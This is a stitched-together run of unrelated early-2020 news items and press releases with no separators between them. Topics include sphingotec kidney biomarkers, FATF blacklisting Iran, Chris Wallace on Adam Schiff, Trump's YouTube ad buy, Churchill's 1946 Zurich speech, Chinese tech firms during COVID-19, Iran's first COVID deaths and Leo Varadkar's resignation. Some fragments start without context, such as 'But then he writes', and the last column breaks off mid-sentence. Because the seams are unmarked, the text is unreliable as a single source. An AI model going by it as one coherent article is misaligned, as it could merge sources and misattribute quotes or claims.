Pathophysiology, February 25, 2020 "DPP3 in Critical Illness: Another Piece of the Puzzle" presented by Matthieu Legrand (University of California, San Francisco | UCSF Department of Anesthesia and Perioperative Care) Poster Presentation at AKI & CRRT 2020 Title: Proenkephalin, a Novel Biomarker for Kidney Function, is Earlier in Detecting Acute Kidney Injury Compared to Creatinine. Authors R Beunders, M Meekes, J Struck, P Pickkers Title: Proenkephalin Predicts Renal Dysfunction, Organ Failures, Renal Replacement Therapy, and Mortality in Sepsis Authors H Kim, M Hur, J Struck, A Bergmann, S Di Somma Title: penKid Proenkephalin A 119-159 effectively predicts Acute Kidney Injury, Multiple Organ Failure, Mortality particularly among septic patients at the ER with seemingly intact renal function Authors M Rosenqvist, K Bronton, O Hartmann, A Bergmann, J Struck & O Melander About sphingotec SphingoTec GmbH ("sphingotec"; Hennigsdorf near Berlin, Germany) develops and markets innovative in vitro diagnostic (IVD) tests for novel and proprietary biomarkers for the diagnosis, prediction and monitoring of acute medical conditions, such as sepsis, acute heart failure, circulatory shock, and acute kidney injury in order to support patient management and provide guidance for treatment strategies. sphingotec's proprietary biomarker portfolio includes Bioactive Adrenomedullin (bio-ADM(R)), a unique biomarker for real-time assessment of endothelial function in conditions like sepsis or congestive heart failure, Proenkephalin (penKid(R)), a unique biomarker for real-time assessment of kidney function, and Dipeptidyl Peptidase 3 (DPP3), a unique biomarker for cardio-renal pathway disruptions leading to acute organ dysfunction. In addition, sphingotec develops a portfolio of novel biomarkers, which predict the risks of developing obesity, breast cancer and cardiovascular diseases. IVD tests for sphingotec's proprietary biomarkers are made available as sphingotest(R) microtiterplate tests as well as point-of-care tests on the Nexus IB10 immunoassay platform by sphingotec's subsidiary Nexus Dx Inc. (San Diego, CA, USA) alongside a broad menu of IB10 tests for established biomarkers for acute and critical care. Contact SphingoTec GmbH Ruxandra Lenz Neuendorfstr. 15 A 16761 Hennigsdorf Germany Tel. +49-3302-20565-0 press@sphingotec.de www.sphingotec.com SOURCE: SphingoTec GmbH View source version on accesswire.com:https://www.accesswire.com/577310/Novel-data-on-sphingotecs-biomarkers-for-acute-and-critical-care-settings-to-be-presented-at-AKI-CRRT-2020 A global financial watchdog has blacklisted Iran for failing to take measures against money laundering and the financing of terrorist groups. The Paris-based task force, an inter-governmental organization that underpins the fight against money laundering and terrorist financing, made the announcement on February 21. The Financial Action Task Force (FATF) also granted a temporary reprieve to Pakistan, keeping the country on its gray list. In a statement, the FATF said it was lifting a sanctions suspension it granted in 2016 to give Iran time to work on reforms. It also called on FATF's 38-nation members and "all jurisdictions to apply effective countermeasures." Iran's blacklisting will deepen the country's isolation from financial markets. Abdolnasser Hemmati, the head of the Iran's Central Bank, said the FATF's decision was "political" and it would not impact foreign trade. Iran and North Korea are on the agency's blacklist. The FATF said it was granting Pakistan an extra four months to meet anti-terrorism financing norms, keeping Islamabad for now on its list of countries that do not adequately comply with its rules. Based on reporting by RFE/RL's Radio Mashaal, Reuters, and AFP But then he writes, Closing one school, let alone forty-nine, is never a popular thing to do, and I took some serious flak for it. But in this case we had to. Yes, it potentially stressed the rest of the school system. But these concerns were overridden by the fact that these schools were consistently failing, and the students who attended them were trapped in that failure, with no prospect for improvement. With this, he goes further than can be truly justified, and one wonders what the Big Bangah would think about the people in the sort of economically marginalized neighborhoods he inhabited losing their schools. Bloomberg reports that there has been commitment by Nigeria to transfer the funds to the governor, whom the U.S. Department of Justice (DoJ) says was involved in corruption with Abacha. Fox News anchor Chris Wallace said on Friday that it wasnt unreasonable for President Donald Trump to consider House Intelligence Committee Chairman Adam Schiff (D-CA) as an enemy, adding the president has good reason to be a little paranoid that Schiff and House Speaker Nancy Pelosi would weaponize intelligence about Russian interference against him. Multiple outlets, including The Daily Beast, reported Thursday that intelligence officials briefed House lawmakers earlier this month that Russia was interfering in the 2020 election to assist Trump once again. It was further reported that it was this meeting, conducted by Acting Director of National Intelligence Joseph Maguires aide Shelby Pierson, that resulted in Trump forcing out Maguire and replacing him with loyalist Richard Grenell. After Fox News chief White House correspondent John Roberts reported that the network was told that Trump did not berate or otherwise yell at Maguire over the briefing as had been reported elsewhere, Fox News host Ed Henry welcomed on Wallace to discuss. Fox News Host Hits Trump for Attacking Chris Wallace: Youre Not Entitled to Praise How seriously should we take this report about renewed Russian interference in our elections? Henry wondered aloud. We should take it very seriously, Wallace replied, adding that per the briefing the Russians are favoring Trump as they did in 2016. I can understand where President Trump doesn't like it, the Fox News Sunday host continued. Especially the fact that it was a briefing to House Intelligence which is chaired by Adam Schiff, who is not exactly friendly with the president. He obviously regards as an enemy. And not unreasonably so. But we should take the briefing by the DNI as a very serious indication. Henry, meanwhile, said that one of the presidents concerns is Adam Schiff would weaponize the information and use it politically, adding that sure enough it gets leaked out while noting Schiff and Pelosi have already criticized Trump for not doing enough to combat election interference. Story continues Weve been now talking about all this for a few years, Henry stated. What actually is our government doing to make sure that the 2020 election is not interfered with? You know, you can argue that the president, as they say wouldyou know, even paranoids have people who are really after them, Wallace quipped. So if the president is a little bit paranoid about Adam Schiff and Nancy Pelosi, he does it with good reason. The veteran anchor, however, would reiterate that everybody should take seriously the intelligence communitys claims that Russia is a threat to interfere in the 2020 election on Trumps behalf. We want to have faith in our democracy and want to have faith that an election is being conducted fairly and while there is no indication that the Russians were able to overturn the legitimate results of the election in 2016 that Donald Trump was the duly-elected president, they sure tried, Wallace concluded. Who is to say they wont be better at it in 2020? That should be a nonpartisan issue. Stephen Colbert Grills Fox News Chris Wallace: How Can You Call Mueller Hearing a Disaster? Read more at The Daily Beast. Got a tip? Send it to The Daily Beast here Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. A day after pro-Pakistan slogans were raised by an agitator at an anti-CAA event here, a young woman was 'detained' on Friday for holding a "Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti" placard at a counter protest in the city, police said. Holding the placard with the slogans, she was spotted sitting among the participants of the protest organised by the Hindu Jagaran Vedike against the woman who had shouted "Pakistan Zindabad" on Thursday. City police chief Bhaskar Rao said she was escorted out of the place as the Vedike members asked her to leave and crowd started gathering. "She has been now been taken into custody for her own safety along with the placard... we will find out her background, where she has come from and who are behind her among other things," Rao told reporters, adding she did not raise any slogan. The "Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti" slogans were written in both Kannada and English in the placard held by her. To a question if she would be arrested, the Commissioner said let the investigation be held. "It is too early as she has just been taken into custody," he added. Last evening, Amulya Leona had raised "Pakistan Zindabad" slogan thrice in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi after the organisers of the event under the banner of "Save Constitution" invited her to address the gathering, prompting him to denounce her act. After being removed from the stage, she was later arrested on charges of sedition and produced before a magistrate court which remanded her to 14 days judicial custody. An upset Owaisi had said he would not have participated in the protest against the Citizenship Amendment Act had he known that the woman had been invited for the event and asserted his party had no links with her. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Andrew Westrope is managing editor of the Center for Digital Education. Before that, he was a staff writer for Government Technology, and previously was a reporter and editor at community newspapers. He has a bachelors degree in physiology from Michigan State University and lives in Northern California. Formula 1 is taking a step closer to Africa. Last year, the sport's former commercial boss Sean Bratches observed: "We are now racing on five continents. "Africa is the last habitable continent that we don't race on. We want to change that." So it is interesting that F1 has announced that the sport is heading to South Africa in March for a fan festival on the streets of Johannesburg. Mercedes, Renault and Red Bull are all taking part. "South Africa has a very special place in Formula 1 history and we remain committed to returning to South Africa in the future," said F1's marketing boss Ellie Norman. Also involved in the event will be 1979 world champion Jody Scheckter, who the F1 press release named as 'President of South African GP'. South Africa has held 33 grands prix, most recently in 1993. (GMM) Share this article Whatsapp Facebook Twitter Linkedin Mark Bergen and Joshua Brustein (Bloomberg) San Francisco/New York, United States Fri, February 21, 2020 18:44 690 7f440ff09e92db75a02bbad2065e1986 2 World Donald-Trump,US-presidential-election,US-presidential-race,YouTube,Advertisement Free In the immediate run up to the US presidential election and on Election Day, the homepage of YouTube is set to advertise just one candidate: Donald Trump. The presidents reelection campaign purchased the coveted advertising space atop the countrys most-visited video website for early November, said two people with knowledge of the transaction. The deal ensures Trump will be featured prominently in the key days when voters across the country prepare to head to the polls Nov. 3. While the bulk of digital ad spending typically focuses on targeting specific messages to certain audiences, the top spot on YouTube is more akin to a Super Bowl TV ad. About three-quarters of U.S. adults say they use YouTube, exceeding the reach of even Facebook, according to the Pew Research Center. Ads on the YouTube mastheadas the video on the top of the homepage is knowngenerally run for an entire day. The exact duration of Trumps ad buy and financial details were unclear, but estimates for the space range from hundreds of thousands of dollars to more than $1 million a day. YouTube, owned by Alphabet Inc.s Google, lets advertisers target users based on a variety of factors, though it recently limited those options for political content. The Trump campaign bought the digital real estate nationwide, one of the people familiar with the deal said, both of whom asked not to be identified because they werent authorized to discuss the matter publicly. YouTube declined to comment on the deal but said its common for political advertisers to purchase masthead ads. After buying an ad, candidates can choose to surrender the space or restrict it to certain regions, a spokeswoman for the company said. In the past, campaigns, PACs, and other political groups have run various types of ads leading up to Election Day, she wrote in an email. All advertisers follow the same process and are welcome to purchase the masthead space as long as their ads comply with our policies. A spokesman for the Trump campaign didnt respond to requests for comment. The move is likely to reinforce a feeling among many political analysts that Trumps embrace of digital advertising gives him a distinct advantage over his Democratic rivals. The Trump campaign could spend as much as $500 million on digital ads and strategies, Brad Parscale, the presidents campaign manager, has said. In 2012, President Barack Obamas campaign bought the YouTube masthead for Election Day before Mitt Romney had even secured the Republican nomination, according to Teddy Goff, Obamas former digital director. This gets to a structural problem inherent in having a contested primary against an incumbent, said Goff, now co-founder of Precision Strategies, a consulting and marketing firm. Trump and Hillary Clinton each ran masthead ads at various times in 2016. Trump spent more money online that year than Clinton and continues to outspend most Democratic rivals now. A major exception is Michael Bloomberg, whose campaign has spent $36.9 million on Google ads, according to statistics released by Google. Thats double what Trump has spent with the company. Both Trump and Bloomberg ran YouTube masthead ads last year. Susan Wojcicki, the chief executive officer of YouTube, said in an interview with 60 Minutes aired in December that some of Trumps ads were rejected for violating company policies. The news program reported that more than 300 video ads submitted by the Trump campaign were taken down by Google and YouTube. Many digital ads are bought and sold through automated systems, but that wasnt an option for Trumps Election Day purchase. To reserve space this far in advance, advertisers must work directly with Google sales representatives. Online political advertising in the current election cycle will total $1.34 billion, more than double the levels of the last presidential election, according to EMarketer. The research firm estimates that digital spending will account for 19% of all political advertising. Facebook Inc. is the favorite platform of political campaigns, and its lenient policies have been a subject of controversy. The social network allows politicians to make false claims in their ads, whereas Google does not. Facebook offers far more granularity for campaigns to target people who fit a specific profile. After Google limited campaigns abilities to use demographic targeting last November, some at the company have debated going further. Google has bristled at repeated accusations of political bias, particularly from Trump and other Republicans. One potential policy discussed inside Google was to disallow masthead ads on Election Day in favor of a nonpartisan banner reminding Americans to vote, said a person with knowledge of the deliberations. Ultimately, Google decided to keep its standard practice in place. The Shiv Sena has proposed building a memorial for the brave martyrs who died for the cause of Ram Mandir on the banks of Sarayu River in Ayodhya. In the party mouth piece, the Saamana, Shiv Sena suggested the memorial can be built along the lines of Delhis Amar Jawan Jyoti, that is a constant reminder of the bravery of our soldiers, the party said. They need not be from any one political party or outfit. They did a surgical strike for the country, and for religion and their faith, it added. This comes just two days after Senas ally in Maharashtra, Nationalist Congress Party (NCP) Chief Sharad Pawar, called for a trust to oversee building of a mosque in Ayodhya along the lines of the Ram Mandir Trust formed to oversee the construction of a Ram temple in Ayodhya. Reacting to media reports that the Ram temple will be completed before 2024, Saamana said this will benefit the Bharatiya Janata Party (BJP) in the next Lok Sabha elections. It is evident that God Ram will be the chief guest of the election campaign. Because the issues of Pakistan or surgical strike will not work in 2024 election, Saamana said. It added, The Ram Mandir in the country is a matter of religious pride and faith, but if it is going to be politicised, who will take it upon themselves to stop it? Saamana has also suggested that leaders including Sonia Gandhi, Mamata Banerjee, Mulayam Singh Yadav, Nitish Kumar, and Sharad Pawar should be invited to the Bhoomipoojan of the temple and also suggested possible dates for its holding. The Bhoomipoojan can happen on the upcoming dates for festivities of Gudi Padva or Ramnavami, and will likely happen at the hands of Prime Minister Narendra Modi. But other leaders should be invited to leave no scope for criticism that BJP monopolised the function, it said. Saamana added that the contribution of non-BJP outfits such as Shiv Sena and Bajarang Dal towards the Ayodhya movement cannot be forgotten. In BBCs images and film on Ram Mandir where Kar Sevaks are seen attacking Babri Masjid includes a lot of faces familiar to the Shiv Sena, the article says, and claims that Sena founder Balasaheb Thackeray had fearlessly admitted to Shiv Sainiks role in the demolition of Babri Masjid but the party never leveraged it politically. No one knows. He died in 1965 and, fifty-five years later, no one can say what his view on Brexit would be. But the question is being raised in The Independent this week (first of a five part series). They quote a few speeches by Churchill post-war and his views on Europe which, if anything, were formulaic for todays European Union. However, equally, it was clear that during the post-war developments of the European Union, Great Britain believed it had to be a part of it but separate. Anyways, I just read the 1946 speech Churchill made in Zurich about the future of Europe, and its fascinating to read. It laid out his vision of a United States of Europe. So, just for historical backdrop, I thought it worth sharing here. Winston Churchill, speech delivered at the University of Zurich, 19 September 1946 I wish to speak about the tragedy of Europe, this noble continent, the home of all the great parent races of the Western world, the foundation of Christian faith and ethics, the origin of most of the culture, arts, philosophy and science both of ancient and modern times. If Europe were once united in the sharing of its common inheritance there would be no limit to the happiness, prosperity and glory which its 300 million or 400 million people would enjoy. Yet it is from Europe that has sprung that series of frightful nationalistic quarrels, originated by the Teutonic nations in their rise to power, which we have seen in this 20th century and in our own lifetime wreck the peace and mar the prospects of all mankind. What is this plight to which Europe has been reduced? Some of the smaller states have indeed made a good recovery, but over wide areas are a vast, quivering mass of tormented, hungry, careworn and bewildered human beings, who wait in the ruins of their cities and homes and scan the dark horizons for the approach of some new form of tyranny or terror. Among the victors there is a Babel of voices, among the vanquished the sullen silence of despair. That is all that Europeans, grouped in so many ancient states and nations, and that is all that the Germanic races have got by tearing each other to pieces and spreading havoc far and wide. Indeed, but for the fact that the great republic across the Atlantic realised that the ruin or enslavement of Europe would involve her own fate as well, and stretched out hands of succour and guidance, the Dark Ages would have returned in all their cruelty and squalor. They may still return. Yet all the while there is a remedy which, if it were generally and spontaneously adopted by the great majority of people in many lands, would as by a miracle transform the whole scene and would in a few years make all Europe, or the greater part of it, as free and happy as Switzerland is today. What is this sovereign remedy? It is to recreate the European fabric, or as much of it as we can, and to provide it with a structure under which it can dwell in peace, safety and freedom. We must build a kind of United States of Europe. In this way only will hundreds of millions of toilers be able to regain the simple joys and hopes which make life worth living. The process is simple. All that is needed is the resolve of hundreds of millions of men and women to do right instead of wrong and to gain as their reward blessing instead of cursing. Much work has been done upon this task by the exertions of the Pan-European Union, which owes so much to the famous French patriot and statesman Aristide Briand. There is also that immense body which was brought into being amidst high hopes after the First World War the League of Nations. The League did not fail because of its principles or conceptions. It failed because those principles were deserted by those states which brought it into being, because the governments of those states feared to face the facts and act while time remained. This disaster must not be repeated. There is, therefore, much knowledge and material with which to build and also bitter, dearly bought experience to spur. There is no reason why a regional organisation of Europe should in any way conflict with the world organisation of the United Nations. On the contrary, I believe that the larger synthesis can only survive if it is founded upon broad natural groupings. There is already a natural grouping in the Western Hemisphere. We British have our own Commonwealth of Nations. These do not weaken, on the contrary they strengthen, the world organisation. They are in fact its main support. And why should there not be a European group which could give a sense of enlarged patriotism and common citizenship to the distracted peoples of this mighty continent? And why should it not take its rightful place with other great groupings and help to shape the honourable destiny of man? In order that this may be accomplished there must be an act of faith in which the millions of families speaking many languages must consciously take part. We all know that the two World Wars through which we have passed arose out of the vain passion of Germany to play a dominating part in the world. In this last struggle crimes and massacres have been committed for which there is no parallel since the Mongol invasion of the 13th century, no equal at any time in human history. The guilty must be punished. Germany must be deprived of the power to rearm and make another aggressive war. But when all this has been done, as it will be done, as it is being done, there must be an end to retribution. There must be what Mr Gladstone many years ago called a blessed act of oblivion. We must all turn our backs upon the horrors of the past and look to the future. We cannot afford to drag forward across the years to come hatreds and revenges which have sprung from the injuries of the past. If Europe is to be saved from infinite misery, and indeed from final doom, there must be this act of faith in the European family, this act of oblivion against all crimes and follies of the past. Can the peoples of Europe rise to the heights of the soul and of the instinct and spirit of man? If they could, the wrongs and injuries which have been inflicted would have been washed away on all sides by the miseries which have been endured. Is there any need for further floods of agony? Is the only lesson of history to be that mankind is unteachable? Let there be justice, mercy and freedom. The peoples have only to will it and all will achieve their hearts desire. I am now going to say something that will astonish you. The first step in the re-creation of the European family must be a partnership between France and Germany. In this way only can France recover the moral and cultural leadership of Europe. There can be no revival of Europe without a spiritually great France and a spiritually great Germany. The structure of the United States of Europe will be such as to make the material strength of a single State less important. Small nations will count as much as large ones and gain their honour by a contribution to the common cause. The ancient States and principalities of Germany, freely joined for mutual convenience in a federal system, might take their individual places among the United States of Europe. But I must give you warning, time may be short. At present there is a breathing space. The cannons have ceased firing. The fighting has stopped. But the dangers have not stopped. If we are to form a United States of Europe, or whatever name it may take, we must begin now. In these present days we dwell strangely and precariously under the shield, and I even say protection, of the atomic bomb. The atomic bomb is still only in the hands of a nation which, we know, will never use it except in the cause of right and freedom, but it may well be that in a few years this awful agency of destruction will be widespread and that the catastrophe following from its use by several warring nations will not only bring to an end all that we call civilisation but may possibly disintegrate the globe itself. I now sum up the propositions which are before you. Our constant aim must be to build and fortify the United Nations Organisation. Under and within that world concept we must re-create the European family in a regional structure called, it may be, the United States of Europe, and the first practical step will be to form a Council of Europe. If at first all the States of Europe are not willing or able to join a union we must nevertheless proceed to assemble and combine those who will and who can. The salvation of the common people of every race and every land from war and servitude must be established on solid foundations, and must be created by the readiness of all men and women to die rather than to submit to tyranny. In this urgent work France and Germany must take the lead together. Great Britain, the British Commonwealth of Nations, mighty America and, I trust, Soviet Russia, for then indeed all would be well must be the friends and sponsors of the new Europe and must champion its right to live. Therefore I say to you Let Europe arise!. Overall, it appears that Churchill was a major proponent of a United States of Europe including Britain, although Britain would not be integrated. Britain would be a separated Commonwealth, supporting Europe but not part of it. Brexiteers claim he was 100% anti-EU due to this quote: If Britain must choose between Europe and the open sea, she must always choose the open sea. This quote however is taken out of context. Checkout Jon Danzigs clarification and you see that he yelled the above at Charles De Gaulle in a heated debate about whether the war needed the Americans or not, and Churchill was adamant that they were necessary. Ah well, nothing like taking quotes out of context. Money is the root of all evil Nope. For the love of money is the root of all sorts of evil Different meaning. Just saying. Posted on: February 21, 2020 Chinese tech firms have brought their newest medical products and services to aid the fight against the novel coronavirus epidemic and many internet firms have seen strong business growth during the period. The epidemic has brought challenges as well as opportunities for corporate innovation, said Daniel Zhang, chairman and chief executive officer of tech giant Alibaba Group. SHENYANG, February 20 (Xinhua) The novel coronavirus epidemic may have temporarily affected economic activities across China. However, many tech companies and internet firms are playing their parts in the fight against the epidemic and contributing to the growth of the country's economy. Some tech companies have brought their newest medical products and services to join in the fight against the virus and many internet firms have seen strong business growth during the period. Medical Equipment To aid the fight against the virus, leading software developer Neusoft developed a type of remote CT equipment in just seven days. Photo taken on February 16, 2020 shows the remote CT equipment developed by Neusoft Medical Systems Co., Ltd. in Shenyang, northeast China's Liaoning Province. [Xinhua/Pan Yulong] "The equipment can quickly diagnose using AI computing and reduce contact between medical workers and patients," said Liu Jiren, chairman of Neusoft. Over the past few years, Neusoft has been seeking to empower the health care industry with information technology. "The epidemic has made us more determined in our business strategy and we will develop and manufacture more medical equipment deeply integrated with internet technology," Liu said. Robots are also joining the fight to reduce cross-infection risks and improve efficiency. Siasun, a leading robot manufacturer, has rolled out medical delivery robots and electric adjustable beds. Engineers adjust a medical delivery robot developed by robot manufacturer SIASUN Robot & Automation Co., Ltd. in Shenyang, northeast China's Liaoning Province, February 3, 2020. [Xinhua/Yang Qing] With advanced technologies such as laser positioning, intelligent navigation and human-computer interaction, medical delivery robots can help health workers spray disinfectants and hand out medicine to patients. The electric adjustable beds allow infected patients to eat in bed and assist them to sit up and roll over. Siasun is also developing a robot that can replace nurses in conducting throat testing for the virus. Siasun president Qu Daokui said apart from maintaining a leading position in industrial robots, the company will develop new products for health and elderly care to nurture new business growth drivers. Fresh Food E-commerce E-commerce platforms, particularly online fresh food retailers, reported marked business growth as people are asked to stay at home to avoid potential infection when shopping at crowded brick-and-mortar stores. Fresh food delivery app Missfresh saw sales soar 3.5 times year on year during the nine-day Spring Festival holiday, while the fresh food subsidiary of e-commerce giant JD.com saw sales surge 2.15 times. To cope with business growth and labor shortages, tech giant Alibaba's Freshhema, a fresh food retailer that offers delivery service, came up with the idea of "sharing employees" with restaurants and ride-sharing firms hard hit by the coronavirus outbreak. Wei Yin (R) and her colleague, both of whom working as shared staff, discuss at a Hema store in Beijing, capital of China, February 14, 2020. Some local catering enterprises, which have suspended their business temporarily, reached the deal of "staff-sharing" with Hema. Their staff will join Hema to do jobs like packaging, sorting and arranging goods during the fight against the epidemic. [Xinhua/Ju Huanzong] Fresh food online platforms are also helping fruit and vegetable growers in the remote countryside whose sales were stalled by the epidemic. "Our strawberries now sell well on these platforms and we no longer have to worry about the sales," said Ma Yandong, head of the local strawberry-growing association in the city of Donggang in the northeastern province of Liaoning. Sales in the country's largest strawberry-growing base were once stalled because of the epidemic. "Many of our rural cooperatives are no longer accepting new orders as they now worry about the supply shortages," said Ma. Cloud Cloud-related services, from cloud education to remote medical consultation and cloud working, also saw rapid growth amid the epidemic. School openings after the Chinese Lunar New Year holiday were postponed due to the epidemic, but online class services are helping minimize the impact. On the first day of the spring semester on February 10, a large number of primary and middle school students across the country took online lessons at home. By February 10, schools in 300 cities nationwide have joined the cloud class program of Alibaba's communication app DingTalk, benefiting a total of 50 million students. Remote medical consultation services are also bustling as they can help prevent cross-infections and ease pressure on hospitals. More than 10 major hospitals in Hefei, capital of the eastern province of Anhui, have launched free online medical consultation services for patients with fever after the province launched its top public health emergency response on January 24. Medical specialists provide online services to patients in Henan Provincial People's Hospital in Zhengzhou, central China's Henan Province, February 1, 2020. [Xinhua/Li Jianan] Internet medical platforms have also reported surge in online services. WeDoctor, which provides online access to licensed doctors, said doctors received more than 100,000 consultations on the platform on the first day of the lunar year. All patients from across China can access free medical consultation services on the platform amid the novel coronavirus outbreak, according to the company. Cloud technology also helps minimize the impact on the resumption of work after the holiday. DingTalk said it has served 200 million staff workers from more than 10 million enterprises and organizations as of February 3. To meet the huge demand in peak hours, DingTalk has added over 20,000 temporary servers and expanded bandwidth to enhance its calculation capacity. The epidemic has brought challenges as well as opportunities for corporate innovation, said Daniel Zhang, chairman and chief executive officer of tech giant Alibaba Group. "We are fully confident in the digitalization process of the Chinese economy and society and ready to lay a more solid foundation for Alibaba's long-term growth," Zhang said. Facing the epidemic, an increasing number of consumers choose and are growing accustomed to the digital life and work styles, he added. Liu Qingfeng, chairman of China's major artificial intelligence (AI) company iFlytek that also offers cloud classes, expected the coming of the AI era. "Like water and electricity, AI will enter almost all industries including education, medical care, finance, transport and smart cities in the next five to 10 years," Liu said. (Source: Xinhua) LONDON The crypt and parts of Notre-Dame Cathedrals plaza are expected to reopen to the public in the spring, Paris officials said this week almost a year after the landmark 850-year-old building was mauled by a fire that devoured its roof, weakened its structure and sent shock waves through France and beyond. The beloved cathedral, the park behind it and the plaza nearby have remained closed amid fears of lead contamination from the damaged church roof and spire. Dozens of workers have been repairing the building that President Emmanuel Macron vowed at the time of the blaze would reopen within five years. This week, Pariss deputy mayor, Emmanuel Gregoire, said he hoped that parts of the square in front of the cathedral would become accessible again to the public in the first half of the year if everything goes OK. Mr. Gregoire told a group of lawmakers that workers would first have to remove lead traces from the site, since levels there and in the cathedrals rubble remain a cause for significant concern. Iranian health authorities on Friday reported two more deaths from the new virus that emerged in China and said the fatalities were from among 13 new confirmed cases of the virus in Iran. The report by the semiofficial Mehr news agency came as Iranians voted in nationwide parliamentary elections. After authorities reported two earlier deaths this week, the death toll from COVID-19, the illness caused by virus, stands at four in Iran. So far, 18 cases have been confirmed in Iran, including the four who died. The spokesman of the health ministry, Kianoush Jahanpour, said the newly detected cases are all linked with city of Qom where the first two elderly patients died on Wednesday. Jahanpour said the new cases were either from Qom or had visited the city recently. He said four of them have been hospitalized in the capital, Tehran, and two in northern province of Gilan. Minoo Mohraz, an Iranian health ministry official, said the virus ``possibly came from Chinese workers who work in Qom and traveled to China.'' She did not elaborate. A Chinese company has been building a solar power plant in Qom. Concerns over the spread of the virus, which originated in central China, prompted authorities in Iran this week to close all schools and Shiite seminaries in Qom, about 130 kilometers (80 miles) south of Tehran. Also, earlier news reports said Iran had recently evacuated 60 Iranian students from Wuhan, the Chinese city at the epicenter of the epidemic. The students were quarantined upon their return to Iran and were discharged after 14 days without any health problems. Qom is a popular religious destination and a center of learning and religious studies for Shiite Muslims from inside Iran, as well as Iraq, Pakistan and Afghanistan and Azerbaijan. It is also known for its cattle farms. Iran once relied heavily on China to buy its oil and some Chinese companies have continued doing business with Iran in the face of U.S. sanctions. Unlike other countries _ such as Saudi Arabia, which barred its citizens and residents from traveling to China _ Iran has not imposed such measures on travel there. The new virus emerged in China in December. Since then, more than 76,000 people have been infected globally, in as many as 27 countries, with more than 2,200 deaths being reported, mostly in China. The new virus comes from a large family of coronaviruses, some causing nothing worse than a cold. It causes cold- and flu-like symptoms, including cough and fever, and in more severe cases, shortness of breath. It can worsen to pneumonia, which can be fatal. The World Health Organization recently named the illness it causes COVID-19, referring to both coronavirus and its origin late last year. There have been few virus cases in the Middle East so far. Nine cases have been confirmed in the United Arab Emirates, which is a popular tourist destination, and one case in Egypt. Of the nine in the UAE, seven are Chinese nationals, one is a Filipino and another an Indian national. Iran's neighbor Iraq, which has reported no cases of the virus, took measures to contain it by suspending visas on arrival for Iranian passport holders and direct flights between the two countries. Also Friday, one of 11 Israelis who were flown home after being quarantined on a cruise ship in Japan has tested positive for the virus, the first case to be reported inside Israel, the Health Ministry. The Israeli cruise ship passengers, who had all initially tested negative, arrived on a charter plane overnight. They were met by medics in protection suits and immediately taken to the Sheba Hospital near Tel Aviv, where they will be kept in quarantine. Another four Israelis were hospitalized in Japan after testing positive for the virus. Israel has cancelled all flights to and from China, and is requiring Israelis returning from China, Hong Kong, Macau, Singapore or Thailand to be quarantined at home for two weeks. Search Keywords: Short link: Leo Varadkar, who became the first Indian-origin prime minister of Ireland in 2017, resigned on Thursday night after his party failed to win a majority or emerge as the single largest party in the February 8 election that threw up a hung parliament. Varadkar, 41, will continue in the post until the next government takes over, an official announcement in Dublin said. Talks to form a coalition government are due to be held over three weeks, during which Varadkar will not be able to make major policy decisions. After the first sitting of the Ireland parliament after the election concluded on Thursday, Varadkar said: The responsibility is now on all of us to provide good government and, indeed good opposition, because thats what the people have every right to expect. The majority mark in the 160-seat parliament (effectively 159, since the speaker does not vote) is 80. Varadkars Fine Gael party won 35 seats, Fianna Fail 38 and Sinn Fein 35. Both Fine Gael and Fianna Fail are against forming a coalition with Sinn Fein. With a base in both Ireland and Northern Ireland (part of UK), Sinn Fein emerged as a major factor, exploiting ennui in the country wracked by rising housing costs and the people not experiencing economic recovery in recent years. Sinn Fein was known as the political wing of the Irish Republican Army that was responsible for violence and terrorism for years in Northern Ireland and elsewhere, until peace returned with the Good Friday agreement of 1998. Sinn Fein seeks reunification of the island of Ireland, promising a referendum within five years. Fine Gael and Fianna Fail have the same objective in the long-term, but do not favour the referendum soon enough. SHARE THIS ARTICLE ON BALDWIN CITY, Kan., Feb. 21, 2020 /PRNewswire/ -- Baker University senior Justin Toumberlin has been awarded a Pulliam Journalism Fellowship and will join the newsroom of the Arizona Republic this summer for a 10-week paid program. The fellowship offers mass media students real-world experience working with journalists, photojournalists, and editors in an urban newsroom. Toumberlin has been on the staff of the university's newspaper, the Baker Orange, since his freshman year, serving as staff photographer, assistant photo editor, and as photo editor for the past two years. Baker University senior Justin Toumberlin is the recipient of the prestigious Pulliam Journalism Fellowship which allows him to work alongside journalists at the Arizona Republic. After he graduates in May, Toumberlin will move to Phoenix to begin working as a photographer and videographer for the award-winning newspaper. "I am interested and excited to just go exploring. I have never been to Arizona, so it's going to be a really cool experience meeting the other people who will be working with me," Toumberlin said. Toumberlin is the first Baker University student to receive this fellowship, named for Eugene C. Pulliam, who was an Atchison, Kansas, native and graduated from Baker Academy, a preparatory school associated with the university, in 1906. Toumberlin attends mass media classes in Pulliam Hall, which is named after the longtime journalist. "When I first got to Baker in 2005, the university's newspaper was newly located in Pulliam Hall, the building named after Pulliam," said Joe Watson, chair of the Department of Mass Media and Visual Arts. "So the fact that Justin has this prestigious honor just adds a different chapter to Baker's history with the Pulliam family." Pulliam started his career as a reporter for the Kansas City Star and enjoyed a long career as a newspaper publisher, acquiring nearly 50 papers across the United States. He founded Sigma Delta Chi with fellow student journalists at DePauw University. The newspaper fraternity became the Society of Professional Journalists. "I am most excited about using what I have learned at Baker in a professional setting and being considered in a fine group of journalists," Toumberlin said. About Baker University Founded in 1858 as the first university in Kansas, Baker is a private institution that educates traditional and nontraditional students through small classes, innovative instructors, and rigorous course work. Fortune 500 CEOs, New York Times best-selling authors, and Super Bowl champions all proudly claim Baker as their alma mater. The university is home to four schools: College of Arts and Sciences, School of Nursing, School of Education, and School of Professional and Graduate Studies. Baker offers undergraduate through doctoral programs. Learn more: bakerU.edu. Media Contact: Dolores Kitchin Director of Marketing and Communication (785) 594-7884 [email protected] SOURCE Baker University By Hyon O'Brien The Greek philosopher, Pythagoras (570-495 B.C.) said, "The oldest, shortest words yes and no are those which require the most thought." In last month's column I shared with you some thoughts on how important it is to say yes. This month I'd like to explore the opposite. Sometimes it is just as important to say no My earliest memory of saying no was as a middle school student in my hometown of Wonju, about 80 kilometers from Seoul. Our biology teacher was far below average, and we all could see it. She seemed to be winging it with the textbook, glancing at each page and reciting the material. If we asked any questions not on that page, she would become flustered and unable to answer. This went on for half a year. Finally we had enough. I got the signatures of sixty five classmates and took them to our principal's office. I explained the situation and asked for a better teacher. Miraculously and 